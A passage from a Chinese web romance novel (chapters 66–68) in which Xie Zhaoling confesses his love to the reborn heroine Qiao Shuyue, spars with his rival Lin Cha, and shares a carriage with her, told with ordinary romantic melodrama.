她越对比着男人两世的分别,越觉得委屈,泪水夺眶而出。 她又没有做错什么,她分明很勇敢了。他方才怎能那样质问她? 一旦委屈的源头和谢昭凌扯上关系,她就变得脆弱无比。 情不自禁呜咽了一声。 一旦开了口,心防便如断壁残垣,稍一经外力摧毁,便即刻土崩瓦解,尘土飞扬,渐渐化为一片废墟。 她想不明白自己为何情绪就忽然崩溃了。 起先还压抑着自己的哭声,可谢昭凌吻她的动作不知为何忽然慢了下来。 他不再蹂躏她的唇舌,疾风骤雨化为和风细雨,愈发温柔地吻她。 按在她脑后的手轻轻地揉动,缠抱着她的手臂也完全放松了力道,他甚至退开半步,给她足够的空间,任由她抬手捶过来。 温热的泪都沾在谢昭凌的胸口。 他眼底满是怜惜,一下一下拍着她的后背,唇贴着她的,辗转厮磨,缓声道:“阿月受苦了。” 有些苦,应对时不觉勉强。 可一旦有了可依靠的后盾,才后知后觉,自己不过都是强撑着罢了。 她一直都只是个小姑娘而已,被娇宠着长大,不得已才扛起沉甸甸的家仇。 曾经咬着牙淌过了血路,自以为是战无不胜的勇士,临到终点时,发现有人一直等候在那,温柔地接过摇摇晃晃的自己,那一刻,一路都未爆发的委屈与懦弱,顷刻间全都在这个温暖的怀抱中发泄了出来。 “阿月,这些年辛苦你了。” 谢昭凌不知是否猜中了什么,他的语气温和轻缓,带给她无穷力量。 他一向聪慧敏锐,若洞悉了她心底的秘密,倒也不足为奇。 男人这般温柔,乔姝月反而愈发止不住那些往外涌的酸辛。 一瞬间将两辈子所有冤屈与苦楚全都又品了一遍。 原来她不是无所畏惧的,她只是一直压抑着自己,将那些过往的辛酸、委屈与痛苦全都深埋心底。 直至此刻,覆于雪被之下的苦果终于重现天日。 谢昭凌撤出她身间的腿,坐在榻上,让她靠着自己。他搂着人,手掌有节奏地在她后背拍着。 而她窝在他的怀里,双臂紧紧勾缠着他的脖颈,这才酣畅淋漓地释放自己的畏惧与绝望。 “阿凌,阿凌……”她如受伤的小兽,窝在男人怀里呜咽,“阿凌哥哥。” 谢昭凌眉眼温柔,低声回应:“哥哥在呢。” 她下巴抵在他肩头,声音断断续续地,听不真切:“我都快忘了,结局发生偏移,我也是会死的。” 柳步亭若还活着,按照前世的轨迹,或许她的寿命还能到二十三岁。 可如今生了太多变故,早已无法再预测未来,她其实是可能提前死去的。 她手脚发软,后怕道:“若你没来,我,我……” “我来了,我在你身边。” 男人眸光晦暗,克制着慢慢收拢了怀抱。 她哽咽道:“我是不是总在惹麻烦?” “怎会?阿月是被恶人所害,阿月从无过错。”谢昭凌语气很轻,淡淡道,“该付出代价的是那些人才对。” 他没任她自责下去,转而将过错转到自己身上:“是我护卫不当,还望姑娘赎罪。” 护卫? 乔姝月一愣,睁着雾蒙蒙的眼眸,茫然抬头,看着他,“阿凌……哥哥?” 她这般懵懂无措的模样,像一只误闯狼窝的小兔子。 谢昭凌唇畔勾出一抹淡淡笑意,手抚向她的脸颊,爱怜不已,“签了死契的,姑娘忘了吗?” “只要我还活着,这一世,护卫姑娘安危都是我之责。” “若我今日未曾救下你,合该以死谢罪才对。” 黄泉路上,必不叫她孤单。 “你不能!”乔姝月再顾不得沉浸于自己的情绪里,她抓着他的手臂,急急道,“你不可,你还有大事要做。” 谢昭凌不以为然,“我能有何大事?最大的事便是你。” 乔姝月蓦地僵住。 她心心念念的那个英明神武的陛下,怎么如今被她教成脑子里只有小情小爱的废物了? 她的眼神实在好懂,谢昭凌坦然接受她目光中的震惊与谴责,丝毫没觉得自己现在这般有什么不好的。 他笑道:“不过姑娘既希望我去做大事,那我也会听话。只是……” 他顿了顿,将怀里的人抱下去,双膝跪坐在她身前。 臣服的姿态弓着背脊,双手捧起她伤痕累累的指节,凑到嘴边落下轻轻一吻。 而后抬起头,双眸明亮,神色认真地道: “只是阿月,我若是有幸能娶你做夫人,便可光明正大继续护佑你。” 在心中酝酿了许久的话终于说了出来,谢昭凌紧张地放慢了呼吸。 原本这些话还想再等一等对她说,起码要弄清自己的身世以后,确认自己是清白之身,才敢对她说。 可如今却是再等不得了,人生苦短,不知何时变故就会发生,他需要一个正当身份去保护她,也急切想要一个能为她讨回公道的资格。 于是谢昭凌不再忍耐,择日不如撞日,就选今天将爱意表露。 “我知道,以我的身份,谈及这些或许是痴人说梦,可……若无你,我虽不甘愿做个寂寂无名之辈,可那些对权力的渴望都是诞生于痛苦与绝望之中的。有了你,我的欲i望才更加纯粹,我只是想让你过得更好,所以才会去做那些所谓的大事。” “如今这般,是我从前未曾敢想的幸福,这些皆因你而存在。” 他是自沼泽而生的枝条,曾挣扎着向外攀爬,他知晓就算有朝一日能一跃而起,叶终会带出许多淤泥。沾在他身上,半生都洗不干净,就这么一直伴他到死。 可小菩萨出现了。 她把他从泥沼中带了出来,帮他洗干净身上的污泥,自此,他就成了她的人。 “自你将我带回乔家那刻起,我的人生便只由你一人说了算,若你觉得我不够与你相配,那我……我就做一世的奴隶,也心甘情愿。” “只要你给我机会,我必定不负所托。从前许多次也证明了,我从未叫你失望过,不是吗?” 他还要继续表白内心,乔姝月慌乱地抽出被握于他掌心的手,捂住了他的嘴。 她两颊羞红,目光躲闪,“你,好端端的,说这些作甚。” 事情怎么发展到向她求娶了?这也太突然了…… 前世陛下也总对着她夫人娘子来回叫,她从不敢当真。他是一国之君,高高在上,他的皇后岂是她能做的? 那时只当他的求娶都是玩笑话,毕竟他们那时感情甚好,热恋之中所做的承诺,她不敢全信。 可今生是怎么回事? 他怎么这么早就将这些事都说开了? 事情超出乔姝月的意料,她不知自己该作何反应,只隐约觉得,自己听到这些是欣喜的。 “人生大事,自该慎之又慎,只是还望乔姑娘心里清楚——” 一紧张,竟唤她为“乔姑娘”。 谢昭凌深吸了口气,抓着她的手,忐忑地贴在自己心窝,那里缠裹着厚厚的纱布。 纱布之下,是险些要了他性命的伤。 这里是他最脆弱的地方,现在完全展露在她手下。 男子目光深情而专注,嗓音低沉,字字千钧: “乔姑娘,我心悦你,一早便是。” 第66章 【66】 只短短一句,便又叫乔姝月热泪涌了出来。 脑海中忽得复现前世之景—— 身穿玄色朝服的男子与她并肩走在御花园的鹅卵石路上。 时值落日时分,他们漫步到湖心亭中。 落日如熔金般抛洒至湖面,金色的湖水波光潋滟,水天一色。 风卷残云,倦鸟归巢。 男人沉默地望着湖水,良久,转过身来。 “乔姑娘,我心悦你。” 他说着,朝她伸出手,笑意温柔。 “从此以后,可愿一直留在我身边?” “……” 一模一样的话,乔姝月恍惚间似乎又回到前世。 见她发呆,谢昭凌又低声唤了她一声。 这回叫的是:“月姑娘。” 乔姝月猛地回神。 前世同她告白的,是早已为帝的谢昭凌。比现在多了几年的磨砺,他显然更加深沉内敛,哪怕心中没有底气,面上也是一副游刃有余的模样,叫人窥不出端倪。 眼前的男人不比前世那般从容自若,乔姝月从他眼里看到了忐忑。 她直视他的眼睛,轻声反问:“我若不答应呢?” 谢昭凌没有表现出失落,只是道:“我原本也没有奢望你会答应。” 她还小,他不急。 今日太仓促,他什么都没准备,她不愿意也是应当的。 谢昭凌坦诚道:“我一时冲动,姑娘不必心有负担,只希望能看在我们一起长大的份上,能给我行个便利。” 嗓音低沉,带了几分不易察觉的恳求。 乔姝月又问:“我们不算一起长大,只两年而已。” 谢昭凌坚持道:“两年也算,我们朝夕相对,形影不离,比旁人十几年的分量要重的多。” “旁人十几年”这几个字语气格外重,咬牙切齿的,也不知在乱吃什么飞醋。 乔姝月顿时笑了,她放松了身体,背靠在墙上,“你好小性。” “我以为姑娘早就知道,我是个睚眦必报的人。” “我知道啊。” 谢昭凌说完那句就后悔了,他向人家求娶,人家还未松口,若再诋毁自己,她更不愿意了怎么办。 正欲再辩解两句,却见小姑娘笑意盈盈地拉过他的手指,放在指尖玩弄,她坦荡道:“那又如何?我喜欢。” 谢昭凌蓦地僵在原地。 差点忘了,他家姑娘也是个坦诚热烈的性子。 “说说你想要什么便利?”她睨他一眼,埋怨道,“先说好,喜欢归喜欢,我可没有答应你。” 惹了她伤心,还逼她非得哭上一通,不知他存的什么坏心眼。 心情确实松快了不少,可她脸蛋本来就伤了,经过泪水反复一泡,火辣辣地疼,这口气非得在他身上出出不可。 反正对他再凶,他也不会跑,还不是任由她折腾? 谢昭凌缓缓松了口气。 数年前她就常把“喜欢”挂在嘴边,那时他便经受不住。如今她再提,他果然还是会这两个字而兴奋不止。 只是到底比少年时要稳重不少,他没有因此失态,内心的澎湃不会挂在面上,只融入到一举一动之中。 “我所求之事很简单的,”谢昭凌将她手扣在掌心,轻轻握住,说道:“若阿月想要找夫婿,请先考虑我。” 原来只是想排在别人前头,这算什么请求?不知是他对自己真没信心,还是故意谦虚,以退为进,想要惹得她怜惜。 少年时期的谢昭凌最不屑别人同情,被人怜悯地看上一眼,他都要将刺对着对方,待他好些,他又要疑心人家别有用心。 如今的谢将军和前世的陛下愈发相似,在对付她这件事上,不吝使用些下作手段,诸如苦肉计,美男计,凡是能达到目的的,无论多上不得台面,多不符合一个君王的形象,他都乐于使用。 乔姝月懒得琢磨这男人那些弯弯绕绕的小算计,也不瞒他,将心里的盘算都说给他听,一点不藏着掖着:“我打算先晾上你一阵,等过些日子再回复你。” 所以收收那些见不得人的小伎俩吧,她才不会上当。 她神色骄矜,微微扬起下巴,不可一世地睨着他。 谢昭凌没了动静,定定看她半晌。 那目光直勾勾的,跟勾魂似得,看得她脸颊更加火热。 乔姝月鼓起的气势渐渐泄了。 挺直的背脊塌陷下去,下巴收回,红着脸,别过头。 她嗔道:“别看了,怪讨厌的。” “……” “嗯。” 半晌才听到他的回应,扭头一看,他还在看。 乔姝月羞恼地瞪他一眼,将他的手扔开,抬手给自己脸颊扇风降温。 谢昭凌听她话音,观她神色,知道自己的试探有了结果。他的确是故意往卑微了说的,只为试探她对自己的态度。 此刻看来,她心中除了他之外,没打算有第二个选择。 那便随了她,耐心地等着吧,她想要惩罚他多久都可以,反正他们会有一辈子的时间去相爱。 耽误了会功夫,房门被人敲响。 刘妈妈小心翼翼地在门外唤道:“姑娘,天色不早,咱们该回了,再晚夫人要担心。” 乔姝月赶忙应声:“这就来,你们去山下等我吧。” “这……” “我会亲自送她下山。” 谢昭凌忽然开口。 刘妈妈这才松了口气,“那老奴就先下去,姑娘也快着点啊。” 乔姝月从床上爬起来,坐在床边整理衣裳。 她被他弄得衣衫不整,而他更是光裸着上身,站在旁边,温柔地望着她。 这场景…… 怎么瞧,怎么像前世那些同床共枕后的每一个清晨。 一瞬间有更多亲密的画面涌入脑海,乔姝月脸颊更红。 气氛又暧昧起来,乔姝月觉得必须得说点什么来冲散一下脑子里那些旖思。 却见谢昭凌在她身侧坐下,双腿大马金刀地敞着,膝盖碰上她。 似乎看出她的窘迫,体贴地先找了个话题。 问道:“我记得曾经学到‘殉情’这二字时,你苦口婆心教导了我许久。怎么,你那时就担心我会为谁殉情吗?” 乔姝月愣住,下意识反驳:“我没有。” 她不知前世自己死后,陛下的结局如何。她只是害怕,怕他会选择一条不归路,害怕他继续追逐一个已经不在人世的爱人。 她潜意识里觉得谢昭凌或许会做出这样的选择,可转念一想,又觉得他不会。 他是一国君主,好不容易才将社稷安定下来,他看上去很爱他的子民,应当不会做甩手掌柜,说不管就不管了。 可是,万一呢? 她不敢打包票,所以要从少年时期便给他灌输正确的观念,一再让他珍视自己的性命,切莫一时冲动做糊涂事。 她忘了谢昭凌一向都是个很有主见的学生。 若他事事都听老师的话,也不会时常把许夫子气得在学堂里跳脚。 乔姝月的好奇被勾了起来,“你会吗?” 她没有说明是为了谁而殉情,毕竟他们对彼此的心意无需再强调。 谢昭凌垂下眼睛,看不清情绪,轻声道:“阿月想要什么答案呢?” 乔姝月瞪圆杏眼,“是我在问你呢。” 谢昭凌靠在床架上,再次规避了这个问题,只模糊道:“我会按照阿月吩咐的做。” 乔姝月松了口气。 “这就对了,活下来很不容易的,万万要珍惜活下去的机会啊。” 谢昭凌没什么表情,扯了下嘴唇,不置可否。 她若出了意外,也没有机会嘱托他。到时候如何抉择,还是由他说了算。 刘妈妈催了,他们得赶紧出去。 乔姝月站起身,就要往外走。 谢昭凌忽然叫住了她。 他仍然没有去穿衣裳,站在床边,坦露着伤处,无辜地望着她: “阿月想要等些日子再答复,我不敢有怨言,只是想问上一句。” “什么?” “阿月把我看光了,可否暂时给个名分?” 乔姝月:?? 只看个上身,是什么贞洁烈男? 这倒是她前世从未听过的话术,陛下从未这么不要脸地找她讨要过身份。 乔姝月眨了下眼,走回他跟前,围着他绕了一圈,好整以暇地打量着他完美的身躯。 除却胸口包扎的地方,他身上还有许多伤,有在战场上受的,有幼时被人苛待留下的。 其中最为醒目的,其一当属他右上臂的一片烧伤,其二是他背后一片红色的胎记。 那胎记是一片,没有形状,并不好看,前世陛下说过,这是不详的征兆,就和他的生辰一样,五月初五,都不是好事。 又是胎记又是伤疤,这具身体其实不算美观,再加上他肌肉紧绷而结实,瞧着力量感十足,更易让人生出惧意,不敢靠近。 可乔姝月却喜欢他这份“强悍”。 她躯壳里装的灵魂早就见过他各种样子,才不会被他轻易调戏到。 谢昭凌见她竟敢大胆地欣赏,微微一愣,等她走到他身侧,才瞥到她通红的耳朵,没忍住低低笑了一声。 纸老虎一个。 “如何?可还满意?”谢昭凌拉住人,拽到身前,蛊惑道,“若能入眼,姑娘不若考虑一下……” 乔姝月眼底闪过一丝愠怒,那神情瞧着又羞又恼的,与他呛声: “吴大夫方才也看了你,你在军中不知有多少人见过,怎么,你逢人就要名分?” 谢昭凌哑口无言,无奈地扶额笑了笑。 他想了想,要开口解释,又被她一句话堵了回来:“莫说什么我与旁人不同的话,我才不吃你那套!我还看过旁人的,怎没见人追着我要?” 谢昭凌脸上笑意顿时消失,咬牙切齿:“你还见过谁的?” 乔姝月梗着脖子,嘴硬道:“这你别管,我见多识广,哪数得清?逢人便如你这般,没皮没脸地追着我讨说法要名分,我那院里都要住不开了。” 谢昭凌:“……” 第67章 【67】 对于到底是谁被她看光这事,谢昭凌耿耿于怀。乔姝月不说,他就不放人离开。 无奈,乔姝月只能老实交代:“林公……” 她话音一顿,挑着眉,故意道:“林察哥哥。” 谢昭凌拳头捏紧,黑眸一瞬不瞬觑着她,他眯起眸子,“是幼时的事?” “那是自然。”乔姝月思索道,“也是经四哥提醒我才想起来,小时候被一条恶犬追,是林公子挡在我身前,他的衣裳被狗咬破,就看到了。” 那之后一段时间她就爱围着林察转,也不怪她啊,一个大哥哥保护了弱小的她,就像从天而降的神仙一样,高大又可靠,她喜欢也属正常。 只是这些话就不能对谢昭凌提了,且不说那都是很小时候的旧事,她那时的喜欢也很廉价随意,今儿喜欢帮她挡狗的哥哥,明儿又喜欢分她糖吃的哥哥,后儿又看上了跑得快的哥哥,一天一变,全看心情。 真当个重要的事在他面前提,他只会觉得那些人在她心里都留有深刻的印象,反而显不出他的特殊,恐要生出嫌隙来。 乔姝月的度把握得极好,既让他心里吃味,又不会真的闹出什么矛盾来。 两人之间的情趣么,前世她便很喜欢耍这些小伎俩,能将他拿捏得死死的。 谢昭凌果然计较起来,幽幽道:“姑娘危机时分还不忘看人家身子。” 乔姝月瞪眼,“我那会也就四五岁,可没有你说的那般下流,是林公子吓哭了都没躲开,挡在我身前,我眼前只有他,不看他看谁?难不成看那条狗吗?” 谢昭凌紧抿着唇,他不能苛责她,更无法怪罪林察,只能把这仇记到乔誉头上。 要不是乔誉没事提起林察和她幼时的交集,她也不会想起来,更不会给他添堵。 都怪乔誉。 谢昭凌垂下眼睛,喃喃道:“他救了你,你记到现在。” 乔姝月走到床边,拎起他的衣袍,回眸笑道:“对啊,别人对我的好,我都记着。” 谢昭凌看着她走近,低着嗓音,“能不能忘了?” “不能。”她眸光流转,眼尾上扬,意味深长道,“包括谁惹了我,也全都一笔一笔记得分明。” 她将袍子塞到他怀里,“快穿,我要回去了。” 说罢转身出去。 等谢昭凌穿好衣裳出门,远远便听一耳熟的男声。 那人情绪激动,慷慨激昂,听着就叫人心烦意乱。 林察急切地道:“我方才听人说上山的路上出了事。姝月妹妹,你没事吧?!” 乔姝月避而不答,只问:“林公子,好巧,你也来上香?” “嗯,是,陪我母亲来的。” “阿韵呢?几日不见她了。” “小妹偶感风寒,在家中休养。” 林察答得心不在焉,心思显然不在这上头,他目光停留在小姑娘微红肿的脸颊上,神色显出几分急迫来。 刘妈妈这才低声与乔姝月道来:“方才老奴正要下山,便见林公子急急忙忙追了过来,他好似知道……” 乔姝月眼底闪过思量,客气地冲林察笑了笑,“没什么大事,不巧遇到大夫人犯了疯病,起了点小争执。” 林察是见是过楚氏发疯的,他脸色煞白,嘴唇微微颤抖,“上回我与行检兄一起见过她发病,她把一年轻夫人按在地上掐,足足四五个护卫才将她拉开制住,也不知她一个妇人哪来的那么大力气。” “她一个人就将几个摊子都砸烂了,那气势十分骇人,连我都……” 连他都怕得躲进了最近的铺子里。 乔姝月回忆起那时的冲突,心有余悸,勉强笑了下。 失去理智的楚氏不仅动作迅敏,而且力大无穷,寻常女子不是她的对手。 林察说着说着不免生了怨气,怒斥道:“她这般疯癫痴狂,柳氏竟还放任她出来伤人,助纣为虐,着实可恶!我非得向父亲说上一——” “不劳林公子费心。” 谢昭凌快步走近,站在乔姝月的身侧,不知是他步子太大没控制住,还是故意为之,他的肩膀与她贴在一起,轻轻擦过以后,他也没往后退。 林察脸色变得更加难看,充满敌意地盯着谢昭凌。 “小谢将军也在啊。”林察目光晦涩,转头看向乔姝月,“姝月妹妹,你们是一起的?” “我与将军也是偶然遇到。”乔姝月迟疑了下,还是道,“林公子,我们并未亲近到可以直呼名字的地步,还请公子莫要再以妹妹称呼我。” 她面色坦荡,全无被强迫的样子。 自谢昭凌来后,她的态度便发生了些微妙的变化。她自己或许不觉得,但林察却看得眼眶发痛。 他艰难地维持着笑脸,“抱歉,乔姑娘,是在下失礼,还请姑娘莫怪。” 这一声“乔姑娘”也听得乔姝月十分不自在,方才某人表白也用的这个称呼。 乔姝月没忍住偏头看了一眼。 站在她身边的男人没察觉她的视线,一心一意只盯着跟前的情敌。 乔姝月抿唇笑了下,再抬起头时,笑意敛起,恢复如常。 林察只觉得胸口喘不上气,他苦笑道:“乔姑娘,上回在行检兄和四公子面前,我不是故意那么叫你的,你莫要生气。” 乔姝月愣了下,“我不生气。” 林察失落地垂下眼睛,“惹得四公子误会,是我的不是,回头我会向他们解释清楚,不叫姑娘为难。” 无中生有的事,若是故意去澄清,岂非是此地无银三百两? 乔姝月皱了下眉,直觉这话有些奇怪。 她没想出个所以然,但见林察一副愧疚的模样,心生不忍,劝道:“我并不为难,林公子无需自责。” “林公子与我三哥是多年的挚友,唤我一声妹妹,从情理上讲,不算有错。” 林察眼前一亮,“果真?” 乔姝月硬着头皮,点了下头。 她记着林察是好人,前世对她有恩,所以愿意对林察多几分宽容,见他情绪低落,她免不得要敷衍一二。 只是既知他对自己有意,她无法回应,就绝不能让他再生错觉。 所以她又补充道:“只是我们已经长大,总得顾虑分寸,不好太过亲近。” 林察不知是不是没听出暗示,抿着唇,不好意思地笑笑,“我们幼时常在一处玩耍,只是后来我去读书,才生疏了,往后我该常去府上走动,找回我们幼时的情谊才是。” 乔姝月:“啊?” 他们哪有什么情谊可续? 她实在不知该如何接话。 谢昭凌手搭在腰间佩剑上,闻言冷笑,“林公子原来也知四公子是误会了?林公子何不反思几身,究竟为何会叫人误会?是否行为不妥,才叫人家姑娘名声有损。” 林察胸口起伏,攥紧了拳,声音压抑:“谢将军,惹得乔姑娘名声有损的,该是你才对吧!” 他大庭广众,唤她“阿月”,如此亲昵,怎么不反思反思会不会让人家哥哥误会?! 谢昭凌置若罔闻,偏过头去,乔姝月从他的侧颜看出他勾着唇角,心情很好的样子。 得意什么呢?她又没有答应他。在这显出一副胜利者的姿态,瞧着就让人来气。 唇瓣上还残存着被他含吮的酥麻感,在他怀中被他掠夺呼吸的画面,一想起来仍能叫她浑身发软,心肝发颤。 乔姝月顾不得还有外人在场,抬腿踢了他一下。 见他诧异望来,她羞恼道:“走了!” 她冲林察福了福身,温婉有礼:“林公子,天色不早,我先回去了。” 她冲林察微微颔首,与刘妈妈一起往山下去。 谢昭凌抬步就要跟上。 林察招来小厮,吩咐几句,也跟了上来。 谢昭凌听到身后的脚步,停在原地,冷眼看过去。 “无人规定这条路只将军走得吧?” “那自然没有,林公子随意。” 乔姝月不在,谢昭凌连装都懒得。 他道:“十年前的交情都翻出来讲,林公子的经历当真乏善可陈。” 林察冷了脸,“若无褚将军这层关系,小谢将军怕是还不如在下。” “我与她之间的事,不必与外人道出。你也知道,她被人欺负了,只问林公子一句,你能护得住她?” 林察沉默了会,“我可以。” 就像小时候那样,他虽害怕,可也坚定地挡在她面前。 柳大夫人发疯,他也会害怕,可若欺凌的是她,他就能勇敢起来。 谢昭凌被他的天真逗笑,“能不能护得住,要看有无能力,而不是靠勇气。” 小菩萨生来注定与豺狼对抗,那他就要成为山中之王,将那些觊觎残害她的东西一个个断掉四肢,拔掉爪牙,让她不必再活在惊慌和恐惧里。 林察蓦地停了下来,低着头,瞧不清神色。 “她会对我发脾气,对你呢?林公子?” 林察面色紧绷。 “自欺欺人也要适可而止。” 谢昭凌哼笑一声,不再理他,阔步追了上去。 乔姝月走得不快,谢昭凌很快追到她。 没了情敌,他不再耀武扬威,规规矩矩地跟在她身后,连袖子都没敢碰上。 乔姝月抿了下唇,有些后悔方才对他耍小性。这条路她不想再一个人走,犹豫要不要回身去拉他。 忽听男人幽怨开口:“他一难过,你就哄他。” 乔姝月:? 她往后看了一眼,见林察远远缀在后头,竟也下山来了,她只得压低声音:“他是三哥的好友,我怎能疏远他?” 谢昭凌想起来她曾对林察的评价,“他对乔家有恩?” “算是吧。” 没有落井下石,还冒险将四哥的信送到她手里。 谢昭凌道:“能有我的恩大?” 乔姝月果断摇头。 谁能有陛下的恩情大啊。 谢昭凌冷哼道:“那你哄他,都不哄我。” 刘妈妈早一步先行,乔姝月仍觉得羞臊,压低声:“我凭什么哄你?就凭你把我弄哭了?” 被弄哭的方式令人难以启齿,她一想想就脸红不已。 俩人你一言我一语,插科打诨,竟是很快就走到了山脚下。 乔姝月回头望向漫上的山路,脚下终于有种踏实的感觉。 她松了口气,语气也缓和不少,嗔怪道:“你和他比什么?你亲我,他能吗?” 谢昭凌阴森道:“他敢。” “那可说不准。”乔姝月撇撇嘴,“你再激他,兴许他就和你一样向我家求娶。” “那我也排在他前头!” 队伍里只有他一个人,说什么前头后头,她可没给旁人机会。 乔姝月没搭理他,欲踩脚蹬上马车。 林察几步追上来,微微喘着:“乔姑娘,我送你回去吧。” 谢昭凌拧眉,“我可以送她。” “将军事忙,就不打扰了。我有事要找行检兄,正好顺路。” 乔姝月站在马车之上,看着两个争锋相对的男人。 不是她偏心,实在是谢昭凌受了重伤,她不能把人丢下不管。 “林公子,有他送我就够了,你回去陪林夫人吧。” “我已命人传话,说我遇到友人,先行下山,若我此时回去,母亲免不得要多问几句。” 乔姝月迟疑不定。 谢昭凌冷笑了声,忽然大度道:“那也一起吧,林公子的马呢?” 小厮将马牵来,林察利索地翻身上马,他坐在马背上,挑衅地看着谢昭凌。 “久闻将军大名,不若我们比一比,谁先到城门如何?” 乔姝月:“……不是说送我回去吗?” 怎么还自己比上了? 林察面色一僵,“那我们就比从山脚到山门这段路,来回折返,谁先接到乔姑娘的马车就算胜。” 谢昭凌好笑道:“胜了,然后呢?” 林察不说话。 “毫无意义的比试。” “谢将军是怕了?” 谢昭凌不理会对方幼稚的挑衅,轻描淡写道:“就算我怕了吧,毕竟我身上有伤,不便骑快马。” 乔姝月见他捂着心口,顿时紧张不已,“怎么,又疼了吗?” 男人不知何时面色发白,表情也变得勉强起来,气弱道:“稍微有一点。” 乔姝月急切道:“那怎么办,要不是因为救我,你也不会……我去找吴叔!” 谢昭凌勉强笑道:“不必麻烦姑娘,不碍事,忍忍就好。” “不行,”乔姝月撩开轿帘,命令他,“你上车来,不许骑马。” 谢昭凌诧异地扬眉,推脱道:“这不合适。” 乔姝月瞪他一眼,“上不上来?” “……” 男人无奈地笑了声,虚弱地捂着胸口,一步一步朝她走去。 一边走,还不忘回头向林察致歉:“抱歉啊林公子,我这伤严重了些,缰绳都握不紧。” 乔姝月已经先行进了马车,在里头不住催促他。 谢昭凌勾起唇角。 嘴上说着连缰绳都牵不住的男人,没有踩脚蹬,手撑着车板,直接利落干脆、轻盈无声地跳上了马车。 他站在车上,竟比林察还要高上一些。 拍了拍掌心的灰,居高临下,冷淡倨傲: “今日身子抱恙,实再不能与你一同骑马了,下回吧。” 林察:“……” 第68章 【68】 马车晃晃悠悠往城内走。 谢昭凌靠在窗边,往外看了许久。等他放下帘子,乔姝月才懒洋洋地看向他,问道:“人被你气走了?” 谢昭凌面无表情,“还跟着。” “噗嗤。”玉竹缩在角落,捂着嘴笑,“那可不得跟着,回城的路就这么一条,不跟着还能去哪?” 见二人纷纷看过来,玉竹赶忙递出来一样东西。 “姑娘,这是你的。” 一把匕首,是乔姝月对抗楚氏时,防身用的那个。匕首上的血迹已经被清理干净,收进刀鞘里。 乔姝月接过,欲塞回袖中。 手臂忽然被男人按住。 她疑惑抬眸,对上一双幽暗深邃的眼。 谢昭凌直勾勾地盯着那把匕首,克制着情绪道:“这是我的那把。” 他逃出梧县后,从算计过他的那个富户家里顺走的。 一把匕首,就是他全部的家当,陪着他从南到北。这一路危机重重,若无武器傍身,他只怕不能顺利抵京。 这一把匕首谢昭凌用过很多年,其实已经很旧了,乔姝月不至于没有新的使,可她偏偏仍在用。 谢昭凌嘴角上扬,怎么都压不下去,眼睛发亮,笑道:“姑娘一直随身带着它?” 乔姝月耳根微热,略一挣脱便撇开他的手,将匕首塞回袖里,理了理袖子,佯装平静地反问:“我不能拿你的东西?” 谢昭凌笑着,盯人的目光带了几分压迫感,“自然可以,当初姑娘将攀云剑送我,这把匕首再无用处,离开时我便留了下来。” “那你还问。” 谢昭凌只重复道:“姑娘随身带着它。” 乔姝月横他一眼,“伤口不疼了?一边歇着去,不许问了。” “好,不问。”谢昭凌起身坐到对面,挤到她身侧,堂而皇之,目光灼灼,落下视线,意味深长道,“看来我留下的那些东西,姑娘都有好好收着。” 不知他没穿走的衣裳被如何处理,那些特意做给他一个人做的衣裳,是否又留给了新进府的小护卫穿。 “留着作甚?你又不会再回来,我早都扔了!”乔姝月想往旁边挪,现在他一挨过来,她就想起方才独处时发生的一切,唇瓣发麻,身子发软,可惜他人好似一堵墙,怎么挤回去他都纹丝不动,乔姝月没好气道,“也就看这个还能派上用处,用着又顺手,才勉强拿着它。” “姑娘不必解释,我没有问为何你留下它。” 乔姝月:“……” “姑娘随身带着它。” 谢昭凌垂下眼睛,喃喃一句,没忍住又笑了。 乔姝月咬咬牙,抬脚踩上他的靴子。 谢昭凌只背往后靠,脚下不躲不闪,任她宣泄,眼中噙着笑意,温柔地看着她。 “阿月,你说……”他手按在腰间的佩剑上,指腹摩挲,“我们这算不算互赠了定情信物?” 乔姝月登时脸颊通红,结结巴巴:“胡说什么,当年我可没有那个心。” 倒是他,临走时赠她玉梳,还用那么暧昧的眼神望着她,致使她那之后很长一段时间都老想起他,想起前世他们在一起时的一些事。 想过他后,又因他的离别而郁郁寡欢,尝遍了相思之苦。 谢昭凌头仰靠在车壁上,叹了声:“我也没有。” 当初他离开时,只是想着这一辈子都为她做牛做马,没敢奢望成为她的什么人。 她是高高在上的小菩萨,而他只是个亡命徒。 郑丰南曾激他说,好好的一个狼崽子,在乔家的安乐窝里硬生生被训成了狗。 做狗也好,主人是她的话,他没什么不肯的。 被边关的雪冻了三年,他心里的火反而愈烧愈旺,直到后来第一次梦到她,却看不清她的脸,他就知道,自己的那份“衷心”已然变质。 他期待见到长大成人的她,他有预感,再次见面之日,一定是自己一败涂地的时候。 果不其然,大军回京,在街上见到她,他就知道,自己这辈子再也逃不出她的手心。 “还是长大了好。” 他轻声感慨。 乔姝月哼了声,嘟囔道:“不做人当然好,舅舅说得是,衣冠禽兽么。” 许是两个人拌嘴的对话太无聊,没一会功夫,玉竹靠着马车睡了过去。 徐缓的呼吸声传来,惹得两个人又看了过去。 谢昭凌蹙眉,显然是看不过眼,他眼底的谴责过甚,乔姝月笑了声,没忍住为玉竹辩解:“想必是吓坏了,她打小就这样,受了惊就爱犯困,也不知是哪儿来的毛病,吴大夫也没看出什么名堂。” 谢昭凌不赞同道:“在姑娘身边当差,怎能这般不警惕?她没护好姑娘,还敢在这呼呼大睡,想当初我——” 乔姝月头碰上他的肩膀,就这么抵在他身上,歪着头看他,笑道:“是是是,谁有谢护卫尽心尽力啊?” 打卯时睁眼起就往院里一站,习武练剑到她起床,跟着她上学堂,等到散学,过了晌午,回院子里陪她读书,守着她用过晚膳,陪着她看月亮数星星,等她困了,看着屋子熄灯,再守夜到快三更,才回去睡觉。 一日中满打满算只有四个时辰是属于他自己的时间,谁能有他精力充沛,恪尽职守。 即便是近身侍女,每人每月也都有两日休假,谢昭凌却是一天休息都用不上,风雨无阻地跟在她身边。 “若跟谢护卫比,我这身边无一人够格。”乔姝月睨他,“你当谁都跟你似得这般厉害,不需要休息?” 不设防被夸了句,谢昭凌抿抿唇,半晌说不出话来。 “趁着她睡了,正好与你说点正事。” 乔姝月瞥了一眼玉竹,见她睡熟,又往男人身边凑了凑,头靠近,小声道:“我打算针对一个人,但是还没想出什么法子能治住他。” “谁?” 乔姝月言简意赅,说了三哥在梦里的结局。 谢昭凌忽得想起乔誉说的她近来有异样,如实道:“四公子以为你的事我都知晓,昨日上门来质问我,问咱们到底打算做什么。” 顿了顿,他无奈道:“你被四哥怀疑了。” 没注意谢昭凌口唤“四哥”有何不妥,她茫然道:“我不能是单纯讨厌叶奉惟吗?” “你从前可有无缘无故便讨厌谁的先例?” 乔姝月心虚地摸了下鼻子,“那倒没有。” 